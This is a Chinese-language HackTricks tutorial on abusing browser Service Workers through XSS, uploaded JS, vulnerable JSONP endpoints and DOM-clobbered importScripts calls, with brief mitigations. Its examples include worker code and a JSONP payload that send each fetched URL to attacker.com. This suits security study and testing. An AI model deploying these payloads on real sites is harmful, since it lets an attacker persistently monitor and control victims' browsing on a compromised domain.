# Abusing Service Workers

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？ 想要看到您的**公司在HackTricks中被宣传**？ 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或**关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向**hacktricks仓库**和**hacktricks-cloud仓库**提交PR来**分享您的黑客技巧**。

</details>

**Try Hard Security Group**

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-dae1ef8c660e0243188462f22f417bbb1a2719d3%2Ftelegram-cloud-document-1-5159108904864449420.jpg?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

***

## 基本信息

**Service Worker**是浏览器在后台运行的脚本，与任何网页分开，可以实现不需要网页或用户交互的功能，从而增强**离线和后台处理**功能。有关Service Worker的详细信息，请参阅[这里](https://developers.google.com/web/fundamentals/primers/service-workers)。通过利用易受攻击的Web域中的Service Worker，攻击者可以控制受害者与该域内所有页面的交互。

### 检查现有Service Workers

可以在**开发者工具**的**应用程序**选项卡中的**Service Workers**部分检查现有的Service Workers。另一种方法是访问[chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)以获得更详细的视图。

### 推送通知

**推送通知权限**直接影响**Service Worker**与服务器进行通信而无需直接用户交互的能力。如果权限被拒绝，将限制Service Worker对构成持续威胁的潜在性。相反，授予权限会增加安全风险，通过启用接收和执行潜在利用的功能。

## 攻击创建Service Worker

为了利用这个漏洞，您需要找到：

* 一种**上传任意JS**文件到服务器的方法和一个**XSS来加载上传的JS文件的Service Worker**
* 一个**易受攻击的JSONP请求**，您可以**操纵输出（使用任意JS代码）和一个XSS**来**加载带有有效负载的JSONP**，这将**加载恶意Service Worker**。

在以下示例中，我将呈现一个代码来**注册一个新的Service Worker**，该Service Worker将侦听`fetch`事件，并将**发送每个获取的URL到攻击者的服务器**（这是您需要**上传**到**服务器**或通过**易受攻击的JSONP**响应加载的代码）:

```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```

以下是将**注册工作线程**的代码（您应该能够执行滥用**XSS**的代码）。在这种情况下，将向**攻击者**服务器发送**GET**请求，通知**服务工作者**的**注册**是否成功：

```javascript
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>
```

在滥用易受攻击的 JSONP 端点的情况下，您应该将值放在 `var sw` 内。例如：

```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```

有一个专门用于利用**Service Workers**的**C2**，名为[**Shadow Workers**](https://shadow-workers.github.io)，将非常有用来滥用这些漏洞。

**24小时缓存指令**将恶意或被入侵的**service worker (SW)** 的寿命限制在至多24小时，在修复XSS漏洞后，假设在线客户端状态。为了最小化漏洞，站点运营者可以降低SW脚本的存活时间（TTL）。开发人员还建议为快速停用创建一个[**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776)。

## 通过DOM Clobbering滥用SW中的`importScripts`

从Service Worker中调用的函数\*\*`importScripts`**可以**从不同域导入脚本\*\*。如果使用**攻击者可以**修改的参数调用此函数，他将能够**从自己的域导入JS脚本**并获取XSS。

**这甚至可以绕过CSP保护。**

**示例易受攻击的代码:**

* **index.html**

```html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
```

* **sw\.js**

```javascript
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
```

### 使用DOM Clobbering

有关DOM Clobbering的更多信息，请查看：

{% content-ref url="dom-clobbering" %}
[dom-clobbering](https://hacktricks.xsx.tw/pentesting-web/xss-cross-site-scripting/dom-clobbering)
{% endcontent-ref %}

如果SW用于调用\*\*`importScripts`**的URL/域位于**HTML元素内\*\*，则可以通过DOM Clobbering进行修改，使SW从**您自己的域**加载脚本。

有关此示例，请查看参考链接。

## 参考资料

* <https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering>

**Try Hard Security Group**

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-dae1ef8c660e0243188462f22f417bbb1a2719d3%2Ftelegram-cloud-document-1-5159108904864449420.jpg?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？ 想要在**HackTricks中宣传您的公司**？ 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS & HackTricks衣服**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**

</details>
